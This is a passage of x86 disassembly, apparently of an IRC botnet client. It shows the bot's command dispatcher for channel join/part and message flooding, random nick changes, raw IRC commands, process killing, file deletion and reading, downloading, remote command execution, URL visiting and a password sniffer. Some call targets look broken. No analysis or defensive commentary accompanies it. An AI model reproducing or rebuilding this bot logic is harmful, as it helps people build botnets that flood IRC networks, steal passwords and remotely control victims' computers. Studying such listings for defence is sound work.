		test	eax, eax
		jnz	short loc_404CDD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CDD
		push	[ebp+esi+var_80]
		call	sub_41BEF9
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41BEF9
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417DB7
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B940
		push	eax
		call	sub_41C006
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CDD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_404CDD:				; CODE XREF: sub_401AC7+31A2j
					; sub_401AC7+31A8j ...
		push	edi
		push	offset dword_42B93C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D44
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D44
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	eax
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B928
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 28h


loc_404D44:				; CODE XREF: sub_401AC7+3225j
					; sub_401AC7+3230j
		push	edi
		push	offset dword_42B924
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DAB
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DAB
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	eax
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B910
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 28h


loc_404DAB:				; CODE XREF: sub_401AC7+328Cj
					; sub_401AC7+3297j
		push	edi
		push	offset aNt	; "nt"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E12
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E12
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	eax
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 28h


loc_404E12:				; CODE XREF: sub_401AC7+32F3j
					; sub_401AC7+32FEj
		push	edi
		push	offset aMode	; "mode"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E79
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E79
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	eax
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 28h


loc_404E79:				; CODE XREF: sub_401AC7+335Aj
					; sub_401AC7+3365j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EB6
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EB6
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h


loc_404EB6:				; CODE XREF: sub_401AC7+33C1j
					; sub_401AC7+33CCj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EF3
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EF3
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h


loc_404EF3:				; CODE XREF: sub_401AC7+33FEj
					; sub_401AC7+3409j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F35
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F35
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_404F35:				; CODE XREF: sub_401AC7+343Bj
					; sub_401AC7+3446j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FA8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FA8
		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h


loc_404FA8:				; CODE XREF: sub_401AC7+347Dj
					; sub_401AC7+3486j
		push	edi
		push	offset dword_42B88C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050F9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050F9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 268051Bh
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h
		call	sub_41C062
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_4050F9:				; CODE XREF: sub_401AC7+34F0j
					; sub_401AC7+34FDj
		push	edi
		push	offset dword_42B888
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405191
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405191
		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B860
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h


loc_405191:				; CODE XREF: sub_401AC7+3641j
					; sub_401AC7+364Ej
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405294
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405294
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_405294:				; CODE XREF: sub_401AC7+36D9j
					; sub_401AC7+36E8j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052D8
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_4052D8:				; CODE XREF: sub_401AC7+37DCj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053CA
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053CA
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B928
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 268051Bh
		nop
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B928
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	near ptr 268051Bh
		nop
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B928
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_4053CA:				; CODE XREF: sub_401AC7+3820j
					; sub_401AC7+382Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054BC
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054BC
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_4054BC:				; CODE XREF: sub_401AC7+3912j
					; sub_401AC7+391Fj
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055DA
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055DA
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B818
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 20h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B800
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E8
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E8
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h


loc_4055DA:				; CODE XREF: sub_401AC7+3A04j
					; sub_401AC7+3A11j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405707
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405707
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B818
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 20h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 268051Bh
		nop
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 268051Bh
		nop
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 268051Bh
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_405707:				; CODE XREF: sub_401AC7+3B22j
					; sub_401AC7+3B2Fj
		push	edi
		push	offset aRegister ; "register"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_40574B:				; CODE XREF: sub_401AC7+3C4Fj
					; sub_401AC7+3C5Aj
		push	edi
		push	offset aOff	; "off"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4061E0
		mov	[ebp+arg_18], offset dword_4D239C


loc_405767:				; CODE XREF: sub_401AC7+3CC4j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577D
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577D
		push	eax
		call	dword_4C939C


loc_40577D:				; CODE XREF: sub_401AC7+3CA7j
					; sub_401AC7+3CADj
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4D8ABC
		jl	short loc_405767
		cmp	[ebp+var_8], ebx
		jnz	loc_4061E0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B788
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h
		jmp	loc_4061E0
; ---------------------------------------------------------------------------


loc_4057B5:				; CODE XREF: sub_401AC7+3180j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40955F
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40955F
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40953F
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40953F
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409526
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409526
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094EF
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094EF
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40942C
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40942C
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409381
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409381
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409336
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409336
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409321
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409321
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092F7
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092F7
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092D2
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092D2
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40926A
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40926A
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923E
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923E
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091E3
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091E3
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AF
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AF
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090DB
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090DB
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C0
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C0
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FD3
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FD3
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F5F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F5F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F0B
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F0B
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E86
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E86
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9A
		push	edi
		push	offset aOn	; "on"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C62
		push	20h
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_405B8F
		push	offset dword_42B68C
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405B8F:				; CODE XREF: sub_401AC7+40BCj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD1
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD1
		mov	esi, [ebp+var_88]


loc_405BD1:				; CODE XREF: sub_401AC7+40ECj
					; sub_401AC7+4102j
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B1F
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_405C51


loc_405C3B:				; CODE XREF: sub_401AC7+4188j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081DE
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_405C3B
; ---------------------------------------------------------------------------


loc_405C51:				; CODE XREF: sub_401AC7+4172j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset dword_42B620
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405C62:				; CODE XREF: sub_401AC7+40ACj
		push	edi
		push	offset aOff	; "off"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081DE
		push	ebx
		push	20h
		call	sub_40B5A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C90
		push	eax
		push	offset dword_42B5E4
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405C90:				; CODE XREF: sub_401AC7+41BCj
		push	offset dword_42B5B8
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405C9A:				; CODE XREF: sub_401AC7+4097j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DE7
		push	edi
		push	offset aOn	; "on"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DAF
		push	21h
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_405CDC
		push	offset unk_42B590
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405CDC:				; CODE XREF: sub_401AC7+4209j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
